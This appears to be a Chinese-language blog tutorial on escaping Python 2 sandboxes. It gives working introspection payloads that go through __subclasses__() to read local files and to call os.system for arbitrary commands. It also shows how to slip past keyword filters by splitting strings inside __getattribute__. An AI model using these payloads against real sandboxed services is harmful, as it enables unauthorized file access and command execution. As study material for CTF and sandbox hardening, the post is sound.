python2下的沙盒逃逸

前言

最近了解到python的内联函数的强大,利用它,可以实现文件的读写,甚至是执行任意命令,十分地惨无人道。对此十分感兴趣,于是记之。

前置知识

启动python解释器后,可以使用许多函数,这就是内联函数。

  • 内联属性:python中实例化类,系统自动创建的一些属性。
  • __class__:得到实例对应的类;
  • __bases__:得到基类,返回的是元组;
  • __dict__:查看对象内部所有属性名和属性值组成的字典;
  • __subclasses__():获取子类集合,返回列表;
  • func_globals:包含函数全局变量的字典引用,其中包含许多模块或者函数,例如OS模块。

利用

我们首先尝试一下如下命令:

print [].__class__
<type 'list'>
print [].__class__.__bases__
(<type 'object'>,)
print [].__class__.__bases__[0]
<type 'object'>
print [].__class__.__bases__[0].__subclasses__()

打印结果
我们看到file的下标是40,于是使用[40]选取到它。然后就可以实现文件读写了:

print [].__class__.__bases__[0].__subclasses__()[40]('C:\Users\HP\Desktop\hello.txt').read()

读取文件
如果想列出目录是不能够直接执行的,例如:
列出目录
会提示没有权限。那么我们就寻找能够使用的模块。我们选择下标为59的警告信息来输出func_globals:

print [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals

找到linecache模块
我们会发现linecache模块里存在OS模块:

print [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__

发现OS模块
接着我们就利用OS模块进行命令执行!想干啥就干啥,例如我们看一下网络配置:

print [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ipconfig')

任意命令执行
我们现在可以执行任意命令了,只需要更换不同操作系统下不同的命令即可。

存在拦截措施下的使用

因为func_globals中存在ls这个Linux下列出目录的命令,所以func_globals一般都会被拦截,这个时候就需要__getattribute__出场了。

  • __getattribute__:属性访问拦截器,当类的属性被实例访问时会自动调用类的__getattribute__方法,经过系列操作后,再返回属性处理结果,python中只要定义了了继承object的类,就默认存在属性拦截器,拦截后直接返回。

我们可以利用__getattribute__来拼接func_globals

print [].__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')

后续操作基本一致,当然,可能需要使用一下拼接字符串的绕过姿势,例如:

print [].__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')  #windows下ls换成dir

列出目录
python沙盒逃逸就到这里,这也是初次接触,有空再研究研究python3下的。

文章作者: Leaflag
文章链接: https://www.leaflag.cn/2019/08/05/python2沙盒逃逸/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeaflagのBlog